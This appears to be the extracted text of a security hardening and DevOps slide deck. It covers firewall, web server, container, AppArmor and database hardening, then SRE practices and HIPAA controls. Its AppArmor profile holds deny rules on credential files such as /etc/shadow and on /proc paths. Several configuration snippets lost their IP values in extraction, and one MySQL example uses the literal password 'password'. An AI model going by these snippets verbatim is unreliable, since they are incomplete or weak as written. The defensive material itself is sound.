    flush option. This is used to delete all the rules in the selected chain (or all chains if none is given). It effectively resets the firewall rules to their default state. • -P: The policy option. This is used to set the default policy (target) for a chain. It can be set to ACCEPT, DROP, QUEUE, or RETURN. • -A: The append option. This is used to add a rule to the end of a selected chain. • -D: The delete option. This is used to delete one or more rules from the selected chain. • -I: The insert option. This is used to insert a rule at a specific position in a chain. • -N: The new-chain option. This is used to create a new user-defined chain. • -X: The delete-chain option. This is used to delete a user-defined chain. • -L: The list option. This is used to list all the rules in a chain. –L –v - -line-numbers • -S: The list-rules option. This is used to print all rules in the selected chain. • -Z: The zero option. This is used to zero the packet and byte counters in all chains. • -j: The jump option. This specifies the target of the rule; i.e., what to do if the packet matches it. • -p: The protocol option. This matches the protocol, such as tcp, udp, icmp, etc. • --dport: The destination port option. This is used in conjunction with -p to match the destination port on which the packet is sent.
  127. @arafkarsh arafkarsh iptables Examples 144 sudo iptables -F $ Flush/remove

    all existing iptables rules. Be careful as this will remove all your existing rules. sudo iptables -P INPUT DROP $ Set the default policy for the input chain to drop. This will drop all packets that don't match any rule: sudo iptables -A INPUT -p tcp --dport 8080 -j ACCEPT $ Allow incoming connections on port 8080: sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT $ Allow SSH connections (usually on port 22) sudo sh -c 'iptables-save > /etc/iptables/rules.v4' $ Save the iptables rules so they survive a system reboot. sudo systemctl enable iptables $ Ensure that the rules are applied at startup
  128. @arafkarsh arafkarsh ufw (Uncomplicated Firewall) Examples 145 sudo ufw default

    deny incoming $ Deny all incoming connections by default sudo ufw allow 8080 $ Allow incoming connections on port 8080 sudo ufw allow ssh $ Allow SSH connections (usually on port 22) sudo ufw status verbose $ You can check your current ufw rules with sudo ufw enable $ Enable ufw
  129. @arafkarsh arafkarsh Tomcat Server Hardening 146 1. Remove Default/Example Applications:

    These applications may not be secure and are often targets for attackers. 2. Restrict Access to Certain Files and Directories: Ensure unauthorized users cannot access sensitive files like configuration files and directories. 3. Use a Firewall: Limit access to the Tomcat server to only necessary networks and IP addresses. 4. Keep Tomcat Updated: Regularly apply patches and updates provided by Apache. 5. Use SSL/TLS: Enable SSL/TLS for encryption of data in transit.
  130. @arafkarsh arafkarsh Tomcat Server Hardening 147 <web-app ...> <!-- Other

    configuration here --> <security-constraint> <web-resource-collection> <web-resource-name>Secured Area</web-resource-name> <url-pattern>/secured/*</url-pattern> <http-method>GET</http-method> <http-method>POST</http-method> </web-resource-collection> <auth-constraint> <role-name>role1</role-name> </auth-constraint> </security-constraint> <login-config> <auth-method>BASIC</auth-method> <realm-name>default</realm-name> </login-config> <security-role> <role-name>role1</role-name> </security-role> </web-app In this example, any HTTP GET or POST requests to URLs that match the pattern /secured/* will be restricted to users who have been assigned the role1 role. The <login-config> element specifies that the server should use HTTP Basic Authentication to prompt the user for their username and password. This requires you to have a Realm configured to authenticate users and determine their roles. SpringBoot takes care of this using Spring Security.
  131. @arafkarsh arafkarsh Apache Web Server Hardening 148 1. Minimize Modules:

    Disable any modules that are not necessary for your operations. 2. Enable SSL/TLS: Just like with Tomcat, enable SSL/TLS to encrypt data in transit. 3. Restrict Directory and File Access: Set appropriate file permissions and use the Directory directive to control access. 4. Hide Server Version Information: Modify ServerTokens and ServerSignature directives to avoid revealing Apache version info. 5. Use a Web Application Firewall (WAF): A WAF like ModSecurity can help protect your web server from common attacks like SQL injection or cross-site scripting (XSS).
  132. @arafkarsh arafkarsh Apache Web Server 149 sudo vi /etc/httpd/conf/httpd.conf $

    The configuration file is typically located at /etc/httpd/conf/httpd.conf or /etc/apache2/apache2.conf ServerTokens Prod $ The Prod parameter causes Apache to return only Apache as product in the Server response header on the HTTP response, not revealing any version information. ServerSignature Off $ The Off parameter causes Apache not to reveal the server version in ServerSignature if a page is not found or if an error occurs. sudo a2dismod autoindex $ On a Debian or Ubuntu system, Apache provides the a2dismod utility to disable modules (autoindex). # LoadModule autoindex_module modules/mod_autoindex.so $ On a Red Hat or CentOS system, modules are typically loaded through directives in configuration files.
  133. @arafkarsh arafkarsh Docker Container Hardening 150 1. Use Trusted Images:

    Only use Docker images from trusted sources and keep them updated. 2. Don't Run Containers as Root: Run your containers as a non-root user whenever possible. 3. Use Docker Bench for Security: This is a script that checks for common best-practices around deploying Docker containers in production. 4. Use Namespaces and CGroups: Docker uses these Linux features to isolate containers and limit their resources, adding an extra layer of security. 5. Limit Inter-container Communications: Use network segmentation to limit which containers can communicate with each other.
  134. @arafkarsh arafkarsh Docker Bench for Security 151 docker pull docker/docker-bench-security

    $ You can run Docker Bench for Security as a Docker container itself. This has the advantage of not requiring any dependencies on the host other than Docker docker run -it --net host --pid host --userns host --cap-add audit_control \ -e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \ -v /var/lib:/var/lib \ -v /var/run/docker.sock:/var/run/docker.sock \ -v /usr/lib/systemd:/usr/lib/systemd \ -v /etc:/etc --label docker_bench_security \ docker/docker-bench-security $ After the Docker image is pulled, you can run Docker Bench for Security with this command: This command runs Docker Bench for Security with several options to give it access to various parts of the host system. This is necessary because Docker Bench for Security checks many aspects of the Docker installation that require access to certain directories and files on the host. After running Docker Bench for Security, it will output a report to the console. This report contains information about each test it performed, whether it passed or failed, and details about what the test checks for.
  135. @arafkarsh arafkarsh Linux AppArmour for Container Security 152 #include <tunables/global>

    profile docker-myprofile flags=(attach_disconnected,mediate_deleted) { #include <abstractions/base> deny /etc/** w, } 1. Write your AppArmor profile. This is a file that specifies what the container is and isn't allowed to do. Here is a very basic example that denies write access to the /etc/ directory sudo apparmor_parser -r -W docker-myprofile $ 2. Load the profile into the kernel using the apparmor_parser utility: docker run --security-opt apparmor=docker-myprofile -it ubuntu bash $ 3. When running a new Docker container, apply your profile using the --security-opt option:
  136. @arafkarsh arafkarsh Linux Sample AppArmour Profile 153 #include <tunables/global> profile

    docker-nginx flags=(attach_disconnected,medi ate_deleted) { #include <abstractions/base> network inet stream, network inet6 stream, deny network raw, deny /etc/ssh/* w, deny /etc/passwd w, deny /etc/shadow w, deny /etc/group w, owner /var/log/nginx/* rw, owner /var/lib/nginx/* rw, /usr/sbin/nginx ix, deny /var/lib/docker/** w, deny /proc/*/mount rw, deny /proc/*/mnt rw, deny /proc/*/mounts r, capability net_bind_service, file, pivot_root, umount, deny /bin/** ix, deny /sbin/** ix, deny /usr/bin/** ix, deny /usr/sbin/** ix, audit deny @{PROC}/{*,**^[0- 9*],sys/kernel/shm*} rwklx, audit deny @{PROC}/{sysrq- trigger,mem,kcore,kmem} rwklx, deny mount, deny /etc/grub.d/** r, deny /etc/lilo.conf r, deny /boot/grub/menu.lst r, } This profile includes the following rules: • Allows the Nginx server to create network connections. • Denies raw socket access, which can be used for low-level network attacks. • Denies write access to sensitive system files such as /etc/passwd. • Allows the Nginx server to read and write its own log files and other necessary files. • Denies write access to Docker's own files. • Prevents the container from viewing or altering mount points. • Allows the container to bind to network ports < 1024. • Denies execution of binaries except for /usr/sbin/nginx. • Denies access to sensitive locations in the /proc filesystem. • Denies ability to mount filesystems. • Denies read access to boot loader configuration files
  137. @arafkarsh arafkarsh Linux AppArmour in Kubernetes 154 apiVersion: v1 kind:

    Pod metadata: name: mypod annotations: container.apparmor.security.beta.kubernetes.io/mycontainer: localhost/myprofile spec: containers: - name: mycontainer image: myimage The <profile_reference> must be one of: • runtime/default: The default profile for the container runtime will be used. • localhost/<profile_name>: A pre-loaded profile on the node will be used. So, when you see localhost/myprofile, it's saying "use the AppArmor profile named myprofile that has been pre-loaded on this node." The profiles are typically loaded on the node's operating system from the /etc/apparmor.d/ directory.
  138. @arafkarsh arafkarsh PostgreSQL Database Hardening 155 1. Network Level Security:

    1. PostgreSQL listens on all interfaces by default, but in a production setting, it should be configured to listen only on the interfaces where it's actually needed. This is defined in the postgresql.conf file with the listen_addresses directive. 2. Implement firewall rules to limit incoming connections only from trusted IP addresses. You can do this with firewall management tools such as iptables or ufw on Linux. 2. Database Access: 1. Use strong passwords for all your PostgreSQL accounts. 2. Don't use the PostgreSQL superuser for application connections, use a database-specific user with limited rights. 3. Limit connection rights using the pg_hba.conf file. Here, you can control which hosts are allowed to connect, how clients are authenticated, which PostgreSQL user names they can use, which databases they can access.
  139. @arafkarsh arafkarsh PostgreSQL Database Hardening 156 3. Encryption: • Use

    SSL to encrypt client/server communications. This can be done by setting the ssl directive to on in postgresql.conf and setting up SSL certificates. 4. Database Roles and Permissions: • Grant minimum necessary privileges to database roles. PostgreSQL provides role- based access control with a rich set of permissions and privilege types. 5. Database Auditing: • PostgreSQL includes detailed logs which can provide valuable information about access and usage, enable it by modifying the settings in postgresql.conf. 6. Regular Updates: • Regularly apply patches and updates to PostgreSQL. Newer versions often contain security fixes and other improvements.
  140. @arafkarsh arafkarsh PostgreSQL Database Hardening 157 7. Data Backup: •

    Implement regular database backups and ensure that backups are securely stored. 8. Database Extensions and Add-Ons: • Only install trusted extensions and add-ons. They run with the same permissions as PostgreSQL and can become a security risk if they are not from a trusted source. 9. Database Hardening: • Follow PostgreSQL hardening guidelines such as those found in the CIS PostgreSQL Benchmark.
  141. @arafkarsh arafkarsh PostgreSQL Database Hardening 158 listen_addresses = 'localhost' postgresql.conf

    Restrict listening addresses: The listen_addresses parameter determines the IP address(es) that PostgreSQL will bind to. In most cases, it's a good idea to bind to localhost ( or specific trusted IPs rather than binding to all available IPs ( This can be done by setting listen_addresses to localhost or the specific IP. # TYPE DATABASE USER ADDRESS METHOD host all all md5 pg_hba.conf This tells PostgreSQL to accept connections from any IP address in the range - (, using md5 password authentication. listen_addresses = ‘' listen_addresses = ',' # TYPE DATABASE USER ADDRESS METHOD host healthcaredb hcapp scram-sha-256 JDBC Driver automatically negotiates with the DB Server for the Hashing Method and uses the appropriate ones. Recommended
  142. @arafkarsh arafkarsh PostgreSQL Database Hardening 159 1. Trust: The trust

    method allows connections without requiring a password. It's suitable only for local connections on trusted networks. 2. Reject: The reject method unconditionally rejects attempts to connect. 3. MD5: The md5 method encrypts the password using MD5 before sending it over the network. It's more secure than sending plaintext passwords, but not as secure as using certificate-based or GSSAPI/Kerberos authentication. 4. Password (clear-text): The password method sends the password in clear text, and it's not recommended for connections over the internet. 5. SCRAM-SHA-256: SCRAM-SHA-256 is a password-based authentication method that is more secure than md5. It uses the SCRAM method with the SHA-256 hash function for password storage and verification. 6. GSSAPI and Kerberos: These are more advanced methods that use an external trusted third party for authentication. 7. Ident: This method works by obtaining the client's operating system user name, with an optional map to match it to the allowed database user names. 8. Peer: This method is similar to ident but is used for local connections and checks the client's operating system user name against the allowed database user names. 9. LDAP, RADIUS, Cert, and PAM: These methods use external services for authentication.
  143. @arafkarsh arafkarsh MongoDB Hardening 160 security: authorization: "enabled" Enable Access

    Control and Enforce Authentication (mongod.conf) Enabling access control on a MongoDB deployment enforces authentication, requiring users to identify themselves. When access control is enabled, MongoDB requires all clients to authenticate themselves in order to determine their access. net: ssl: mode: requireSSL PEMKeyFile: /etc/ssl/mongodb.pem Encrypt Communitcation Configure MongoDB to use SSL for all incoming and outgoing connections. Use the net.ssl setting in your MongoDB configuration file.
  144. @arafkarsh arafkarsh MongoDB Hardening 161 security: enableEncryption: true encryptionKeyFile: /data/key/mongodb-keyfile

    Encrypt Data At Rest MongoDB Enterprise includes native encryption at rest for additional on-disk encryption. Data at rest encryption encrypts the on-disk storage for MongoDB data files. net: bindIp: localhost, Limit Network Exposure Ensure that MongoDB runs in a trusted network environment and limit the interfaces on which MongoDB instances listen for incoming connections. Bind to local and internal IP addresses
  145. @arafkarsh arafkarsh MongoDB – mongod.conf 162 storage: dbPath: /var/lib/mongodb journal:

    enabled: true systemLog: destination: file logAppend: true path: /var/log/mongodb/mongod.log net: bindIp: localhost, port: 27017 ssl: mode: requireSSL PEMKeyFile: /etc/ssl/mongodb.pem security: authorization: "enabled" javascriptEnabled: false enableEncryption: true encryptionKeyFile: /data/key/mongodb-keyfile The mongod.conf file is usually located under /etc/mongod.conf in Unix/Linux systems, and C:\Program Files\MongoDB\Server\4.2\mongod.cfg in Windows systems. The paths may vary depending on your MongoDB version and your operating system. This is just an example. The actual contents of your mongod.conf file will depend on your specific MongoDB configuration and your security requirements.
  146. @arafkarsh arafkarsh MySQL Database Hardening 163 mysql_secure_installation $ Change the

    Root Password Run the mysql_secure_installation script, which enables you to change the root password and remove anonymous user accounts. [mysqld] bind-address = Limit MySQL network exposure You can configure MySQL to listen only on localhost by modifying the mysql.cnf (or my.cnf, depending on your Linux distro) file: CREATE USER 'newuser'@'localhost' IDENTIFIED BY 'password'; GRANT SELECT,INSERT,UPDATE,DELETE,CREATE,DROP ON `database`.* TO 'newuser'@'localhost'; Create distinct users for different operations and applications Instead of using a root account for all operations, it is better to create different users with the minimum required privileges. Here's an example:
  147. @arafkarsh arafkarsh MySQL Database Hardening 164 Use strong passwords Always

    enforce the usage of strong passwords. MySQL 8.0 and above supports a validate_password plugin to enforce password policies. Remove or disable unused databases By default, MySQL installs a test database. It is recommended to remove this database in a production set-up. Keep MySQL up to date Regularly update your MySQL server with the latest security patches and versions. chown root:root /etc/mysql/my.cnf $ Secure MySQL configuration Protect your my.cnf file by setting the appropriate ownership and permissions: chmod 644 /etc/mysql/my.cnf $
  148. @arafkarsh arafkarsh Redis Database Hardening 165 bind Bind to

    a specific IP address By default, Redis listens for connections from all the network interfaces available on the server. This might not be what you want, especially if it's exposed on the internet. To bind Redis to a specific IP address, locate the bind configuration directive and set it to the desired IP address. For instance, if you want Redis to listen for connections only from the local machine, modify the redis.conf file: requirepass your-strong-password Enable Redis authentication It is a good idea to enable authentication for your Redis server to ensure only authenticated users can interact with the database. You can set the authentication password as follows in the redis.conf file: rename-command CONFIG "" rename-command FLUSHDB "" rename-command FLUSHALL "" Rename or disable certain commands Certain Redis commands are considered dangerous when executed by unauthorized users. You can rename or completely disable these commands: In this example, the CONFIG, FLUSHDB, and FLUSHALL commands have been disabled.
  149. @arafkarsh arafkarsh Redis Database Hardening 166 protected-mode yes Update default

    settings for protected mode In recent versions of Redis, there is a feature called "protected mode" which prevents potentially harmful operations from being executed by unauthorized users. Protected mode is enabled by default. You should ensure it stays enabled unless you specifically want to disable it: maxclients 1000 Limiting simultaneous connections Limit the number of clients that can connect to Redis simultaneously to avoid resource exhaustion from client connections: Run Redis as a non-root user Running Redis as a non-root user minimizes the potential damage that could be caused if Redis were to be exploited. You can change the user by editing the redis.service file in systemd.
  150. @arafkarsh arafkarsh 3 DevOps & SRE o DevOps o SRE

    o Best Practices o Case Studies 167
  151. @arafkarsh arafkarsh Agile Scrum (4-6 Weeks) Developer Journey Monolithic Domain

    Driven Design Event Sourcing and CQRS Waterfall Optional Design Patterns Continuous Integration (CI) 6/12 Months Enterprise Service Bus Relational Database [SQL] / NoSQL Development QA / QC Ops 168 Microservices Domain Driven Design Event Sourcing and CQRS Scrum / Kanban (1-5 Days) Mandatory Design Patterns Infrastructure Design Patterns CI DevOps Event Streaming / Replicated Logs SQL NoSQL CD Container Orchestrator Service Mesh
  152. @arafkarsh arafkarsh Application Modernization – 3 Transformations 169 Monolithic SOA

    Microservice Physical Server Virtual Machine Cloud Waterfall Agile DevOps Source: IBM: Application Modernization > https://www.youtube.com/watch?v=RJ3UQSxwGFY Architecture Infrastructure Delivery
  153. @arafkarsh arafkarsh Application Modernization – 3 Transformations 170 Monolithic SOA

    Microservice Physical Server Virtual Machine Cloud Waterfall Agile DevOps Source: IBM: Application Modernization > https://www.youtube.com/watch?v=RJ3UQSxwGFY Architecture Infrastructure Delivery Modernization 1 2 3
  154. @arafkarsh arafkarsh Modernization Journey towards Cloud Native Apps 171 Source:

    Page 16 US DoD Enterprise DevSecOps 2.0 Fundamentals
  155. @arafkarsh arafkarsh Modernization Journey towards Cloud Native Apps 172 Source:

    Page 16 US DoD Enterprise DevSecOps 2.0 Fundamentals
  156. @arafkarsh arafkarsh DevOps o ITIL o Development and Operations –

    Silos o Lean Thinking o CALMS Framework o SpecOps – SDLC o 5 Principles of DevOps 173
  157. @arafkarsh arafkarsh ITIL – Service Life Cycle 174 Source: https://www.flycastpartners.com/itil-service-lifecycle-guide/

    • ITIL is a framework providing best practice guidelines on all aspects of end to end service management. • It covers complete spectrum of People, Processes, Products and use of Partners (v3). Service is a means of delivering value to customers by achieving customer's desired results while working within given constraints. Incident is defined as any disruption in IT service. Service Level Agreement. It is a commitment between a service provider and a client.
  158. @arafkarsh arafkarsh Development & Operations 175 Development Team Agility Operations

    Team Stability Developers Keep throwing releases over the wall and get pushed back by the operations team.
  159. @arafkarsh arafkarsh DevOps History 176 DevOps isn’t simply a process

    or a different approach to development — it’s a culture change. And a major part of a DevOps culture is collaboration. Source: https://www.atlassian.com/devops/what-is-devops/history-of-devops Patrick Debois Andrew C Shafer Coined the Term in 2009 DevOps
  160. @arafkarsh arafkarsh DevOps – Lean thinking 177 Source: Sanjeev Sharma,

    IBM, DevOps for Dummies Systems of Records: Critical Enterprise transactions and these Apps doesn’t require frequent changes. Systems of Engagement: With introduction of Rich Web Apps and Mobiles Apps, Systems of Records were augmented by Systems of Engagements. Customers directly engage with these Apps and these Apps requires Rapid Releases. DevOps Return on Investment 1. Enhanced Customer Experience 2. Increased Capacity to Innovate 3. Faster time to value
  161. @arafkarsh arafkarsh SAST 180 1. Checkmarx: A comprehensive static code

    analysis tool that scans source code to detect vulnerabilities, including SQL Injection, XSS, and more. 2. SonarQube: An open-source platform for continuous inspection of code quality. It performs automatic reviews with static code analysis to detect bugs, code smells, and security vulnerabilities. 3. Veracode: A SaaS solution that provides multiple security analysis technologies on a single platform, including static analysis. 4. Fortify: HP's offering in this space scans source code in several languages and identifies security vulnerabilities. 5. FindBugs / SpotBugs: A free, open-source SAST tool specifically for Java that looks for bugs in code. There's a plugin called FindSecBugs that adds security- specific bug tests.
  162. @arafkarsh arafkarsh DAST 181 1. OWASP ZAP (Zed Attack Proxy):

    An open-source DAST tool used for finding vulnerabilities in web applications while in runtime. 2. Nessus: A widely-used DAST tool specializing in compliance checks, sensitive data searches, IP scanning, website scanning, etc. 3. Burp Suite: An integrated platform for performing security testing of web applications. It’s not strictly a DAST tool but is commonly used for manual DAST work. 4. Arachni: A high-performance open-source tool that helps identify and manage application security vulnerabilities. 5. AppSpider: A DAST tool by Rapid7 that lets you assess the vulnerabilities and security of your applications.
  163. @arafkarsh arafkarsh Management Pipeline Automation Design / Develop SpecOps Workflow

    - SDLC 182 Green Field Brown Field Domain Driven Design Event Sourcing / CQRS Migration Patterns Strangler Fig, CDC… Build Design Develop Test Stage Ops Cloud • Fault Tolerance • Reliability • Scalability • Traffic Routing • Security • Policies • Observability • Unit Testing • Component • Integration • Contract • Package Repositories • Mvn, npm, docker hub • Containers • Orchestration • Serverless • Traffic Routing • Security (mTLS, JWT) • Policies (Network / Security • Observability Infra Code • Feature Code • Configs Source Code Specs
  164. @arafkarsh arafkarsh Agile Values 184 INDIVIDUALS AND INTERACTIONS OVER PROCESSESS

  165. @arafkarsh arafkarsh 5 DevOps Principles – CALMS Framework 185 Source:

    https://www.atlassian.com/devops/frameworks/calms-framework DevOps isn’t a process, or a different approach to development. It’s a culture change. DevOps culture is collaboration. Build, Test, Deploy, and Provisioning automation are typical starting points for teams. Another major contribution of DevOps is “configuration as code.” Developers strive to create modular, composable applications because they are more reliable and maintainable. CULTURE AUTOMATION LEAN MEASUREMENT SHARING Continuous Improvement with Canary Releases and A/B Testing Continuous Improvement requires Data to measure the changes Sharing responsibility, success, failure goes a long way toward bridging that divide between Dev and Ops. You built it, You run it.
  166. @arafkarsh arafkarsh Implementing CALMS – DevOps Principles 186 Capability Centric

    Design Reduce Organization Silos CULTURE Leverage Tooling & Automation Tests, CI/CD Pipeline & Container Orchestration AUTOMATION Implement Gradual Change Microservices Architecture & Agile: Kanban LEAN Measure Everything Service Mesh: Observability MEASUREMENT Accept Failure as Normal Design for Failure SHARING Source: IBM DevOps Vs. SRE https://www.youtube.com/watch?v=KCzNd3StIoU Google: https://www.youtube.com/watch?v=uTEL8Ff1Zvk
  167. @arafkarsh arafkarsh Agile & DevOps 187 Build Design Develop Test

    Deploy Ops Specs Agile DevOps Go Live Support Specs / Design / Development CI/CD and Tests Automation Operations
  168. @arafkarsh arafkarsh class SRE implements DevOps o SRE o Service

    Levels - SLI / SLO o SRE Concept o SRE Responsibilities 188 Source: https://stackify.com/site-reliability-engineering/ - https://www.redhat.com/en/topics/devops/what-is-sre
  169. @arafkarsh arafkarsh class SRE implements DevOps – CALMS 189 Capability

    Centric Design Reduce Organization Silos CULTURE Leverage Tooling & Automation Tests, CI/CD Pipeline & Container Orchestration AUTOMATION Implement Gradual Change Microservices Architecture & Agile: Kanban LEAN Measure Everything Service Mesh: Observability MEASUREMENT Accept Failure as Normal Design for Failure SHARING ✓ Share Ownership ✓ SLOs & Blameless PM ✓ Canary Deployment, A/B Testing ✓ Automate this year’s Job. ✓ Measure toil & reliability.
  170. @arafkarsh arafkarsh Service Levels – SLI / SLO 190 SLI

    – Service Level Indicator For Web sites: SLI is a Percentage of requests responded in good health. SLI can be a Performance Indicator: Percentage of search results returned under 50 milli-seconds. SLO – Service Level Objective SLO is a goal built around SLI. It is usually a percentage and is tied to a period and it is usually measured in a number of nines. Time periods can be last 24 hours, last week, last 30 days, current quarter etc. uptime Last 30 Days 90% (1 nine of uptime): Meaning you were down for 10% of the period. This means you were down for three days out of the last thirty days. 99% (2 nines of uptime): Meaning 1% or 7.2 hours of downtime over the last thirty days. 99.9% (3 nines of uptime): Meaning 0.1% or 43.2 minutes of downtime. 99.99% (4 nines of uptime): Meaning 0.01% or 4.32 minutes of downtime. 99.999% (5 nines of uptime): Meaning 26 seconds or 0.001% of downtime.
  171. @arafkarsh arafkarsh SRE – Concept 191 ❑ Bridge the Gap

    between Development & Operations ❑ Developers wants to ship features as fast as possible ❑ Operations want stability in Production ❑ Empowers the Software Developers to own the operations of Applications in Production. ❑ Site Reliability Engineers spends 50% of their time in Operations. ❑ SRE has a deep understanding of the application, the code, how it runs, is configured and how it will scale. ❑ They monitor and manage the support apart from the development activities. Source: https://stackify.com/site-reliability-engineering/ - https://www.redhat.com/en/topics/devops/what-is-sre
  172. @arafkarsh arafkarsh SRE – Responsibilities 192 ❑ Proactively monitor and

    review application performance ❑ Handle on-call and emergency support ❑ Ensure software has good logging and diagnostics ❑ Create and maintain operational runbooks ❑ Help triage escalated support tickets ❑ Work on feature requests, defects and other development tasks ❑ Contribute to overall product roadmap Source: https://stackify.com/site-reliability-engineering/ - https://www.redhat.com/en/topics/devops/what-is-sre
  173. @arafkarsh arafkarsh DevOps Best Practices o Shift Left – CI/CD

    Automation o Infrastructure as a Code o Stages of Delivery Pipeline o Observability 193
  174. @arafkarsh arafkarsh Production Environment Continuous Monitoring Fully Automated Continuous Deployment

    Shift Left – Operational Concerns 194 • Operations Concerns move earlier in the software delivery life cycle towards development. • The goal is to enable Developers and QC Team to Develop and Test the software that behaves like Production System in a fully automated way. Development Environment Build Build Build Test Environment Continuous Integration Unit Testing Component Testing Contract Testing Integration Testing Continuous Testing Shift Left moves operations earlier in development cycle. Stage Environment Acceptance Testing Pull Request / Merge Continuous Delivery GitOps – CD/CD
  175. @arafkarsh arafkarsh Infrastructure as a Code 195 • Infrastructure as

    a Code is a critical capability for DevOps • This helps the organizations to establish a fully automated pipeline for Continuous Delivery. • Infra as a Code is a software defined environment to manage the following: • Network Topologies, Roles, Relationship, Network Policies • Deployment Models, Workloads, Workload Policies & Behaviors. • Autoscaling (up & down) of the workloads
  176. @arafkarsh arafkarsh Stages of DevOps Delivery Pipeline 196 Source: Sanjeev

    Sharma, IBM, DevOps for Dummies Application Release Management Development Build Package Repository Test Environment Stage Environment Production Environment Application Deployment Automation Cloud Provisioning mvn repository npm repository Docker hub
  177. @arafkarsh arafkarsh Pillars of Observability 197 Immutable records of discrete

    events that happen over time Logs/events Numbers describing a particular process or activity measured over intervals of time Metrics Data that shows, for each invocation of each downstream service, which instance was called, which method within that instance was invoked, how the request performed, and what the results were Traces Source: A Beginners guide to Observability by Splunk
  178. @arafkarsh arafkarsh Observability in Kubernetes Worker Node 198 eBPF Programs

    Network Flow Log K-Probe Connection Tracker Linux Kernel Prometheus Envoy Proxy Log Collector FluentD Pods Pods Pods Pods Pods Pods Service Pods Pods Pods Pods Pods Pods Service Namespace Pods Pods Pods Pods Pods Pods Service Namespace Observability Tools
  179. @arafkarsh arafkarsh 100s Microservices 1,000s Releases / Day 10,000s Virtual

    Machines 100K+ User actions / Second 81 M Customers Globally 1 B Time series Metrics 10 B Hours of video streaming every quarter Source: NetFlix: : https://www.youtube.com/watch?v=UTKIT6STSVM 10s OPs Engineers 0 NOC 0 Data Centers So, what do NetFlix think about DevOps? No DevOps Don’t do lot of Process / Procedures Freedom for Developers & be Accountable Trust people you Hire No Controls / Silos / Walls / Fences Ownership – You Build it, You Run it. 201
  180. @arafkarsh arafkarsh 50M Paid Subscribers 100M Active Users 60 Countries

    Cross Functional Team Full, End to End ownership of features Autonomous 1000+ Microservices Source: https://microcph.dk/media/1024/conference-microcph-2017.pdf 1000+ Tech Employees 120+ Teams 202
  181. @arafkarsh arafkarsh Benefits of DevOps 203 ✓ Velocity o Agile

    / Kanban, o Capability Centric Design o Domain Driven Design o Event Sourcing & CQRS o Microservices Architecture Code Build Manage Learn Idea ✓ Quality o Test Automation o Build Pipeline Automation o Continuous Integration o Continuous Delivery o Continuous Deployment o Observability People Process Tools
  182. @arafkarsh arafkarsh 4 Security Controls & Ops o Generic Controls

    o HIPAA Specific Controls o PCI-DSS Controls o DevSecOps 204
  183. @arafkarsh arafkarsh Generic Controls – 1/7 205 1. Access Controls:

    Ensuring only authorized individuals can access specific application parts. For instance, in the healthcare app, a nurse might have access to update patient vital signs, while a doctor may have additional access to prescribe medication. A billing clerk, meanwhile, might have access to billing but not medical records. 2. Input Controls: These ensure data integrity by validating input. For example, validating that a patient's Social Security Number or National Health Service number is in the correct format or that date of birth entries are reasonable. Input controls would also check for dangerous code or injections a malicious user might try to input.
  184. @arafkarsh arafkarsh Generic Controls – 2/7 206 3. Processing Controls:

    These ensure that the application processes data correctly. For example, when prescribing medication, the system checks whether the patient has any recorded allergies to that medication or if it interacts with any other currently prescribed drugs. 4. Output Controls: These ensure that the data output from the application is valid. For example, when generating a patient's medical history report, the application should ensure that the report contains accurate and complete information.
  185. @arafkarsh arafkarsh Generic Controls – 3/7 207 5. Intrusion Detection/Prevention

    Controls: These monitor the application for signs of unusual or suspicious behavior. For instance, monitoring for failed login attempts, detecting access to the system from suspicious IP addresses, or identifying if mass downloads of patient data are occurring. 6. Configuration Management Controls: These ensure that the application's configuration is secure. For instance, ensuring that the application's API keys or encryption keys are not hardcoded into the application but securely managed or that unnecessary services and ports are disabled on the application's servers.
  186. @arafkarsh arafkarsh Generic Controls – 4/7 208 7. Identity and

    Access Management (IAM) Controls: These controls are used to authenticate and authorize individuals. For example, implementing two-factor authentication for all users, especially those with elevated privileges, and also providing unique user credentials for each user to ensure accountability. 8. Encryption Controls: These controls are used to protect the confidentiality and integrity of data. For example, all patient data should be encrypted at rest (in the database) and in transit (when sent over the network or accessed via the application).
  187. @arafkarsh arafkarsh Generic Controls – 5/7 209 9. Audit and

    Accountability Controls: These controls ensure traceability of actions. For instance, logging who accessed a patient's medical record, what changes were made, and when. This would be critical in investigating an incident or for a random audit. 10. Change Management Controls: These are critical in managing changes in a controlled manner. For example, any changes to the application, such as software updates or configuration changes, should go through a formal approval process, including testing and validation, before deployment.
  188. @arafkarsh arafkarsh Generic Controls – 6/7 210 11. Backup and

    Recovery Controls: These controls ensure data is regularly backed up and can be recovered. For example, regular backup of all patient data and a process to restore from backup in case of data loss, such as a ransomware attack. 12. Network Security Controls: These controls protect the network resources associated with an application. This could involve segmenting the network so that the application's servers are isolated from less secure parts and monitoring network traffic for signs of intrusion.
  189. @arafkarsh arafkarsh Generic Controls – 7/7 211 13. Data Lifecycle

    Management Controls: These controls manage data from creation to deletion. For example, having policies on how long patient data is retained, how it is securely deleted when no longer needed, and how copies of the data are controlled. 14. Incident Response Controls: These are preparations for responding to a security incident. For instance, having an incident response plan specifically tailored to potential security incidents, such as a data breach involving patient information, including specific roles and responsibilities, communication plans, and recovery measures.
  190. @arafkarsh arafkarsh HIPAA Controls Health Insurance Portability and Accountability Act

    This U.S. legislation, passed in 1996, provides data privacy and security provisions for safeguarding medical information. The act contains five sections, or "titles," that outline these provisions as well as regulations for health insurance coverage and tax provisions. 212
  191. @arafkarsh arafkarsh HIPAA Titles – 1/2 213 1. Title I:

    Health Care Access, Portability, and Renewability: This title makes it easier for people to keep health insurance, protects the confidentiality and security of healthcare information, and helps the healthcare industry control administrative costs. It restricts pre-existing condition exclusions and allows a new employer's plan to count coverage under the old employer's plan. 2. Title II: Preventing Health Care Fraud and Abuse; Administrative Simplification; Medical Liability Reform: Also known as the "Administrative Simplification" provisions, Title II requires establishing national standards for electronic health care transactions and national identifiers for providers, health insurance plans, and employers. This includes the Privacy and Security Rule, which sets standards for protecting the privacy and security of individually identifiable health information.
  192. @arafkarsh arafkarsh HIPAA Titles – 2/2 214 3. Title III:

    Tax-Related Health Provisions Governing Medical Savings Accounts: This title includes tax-related provisions and guidelines for medical care, including provisions about company-owned life insurance and the treatment of individuals who lose U.S. citizenship for income tax purposes. 4. Title IV: Application and Enforcement of Group Health Plan Requirements: This title further defines health insurance reform, including provisions for individuals with pre-existing conditions and those seeking continued coverage. 5. Title V: Revenue Offsets: This title includes provisions on company-owned life insurance and the treatment of those who lose U.S. citizenship for income tax purposes. It also has a provision governing the income tax deduction for the health insurance costs of self-employed individuals.
  193. @arafkarsh arafkarsh HIPAA Controls: Title II – 1/4 215 1.

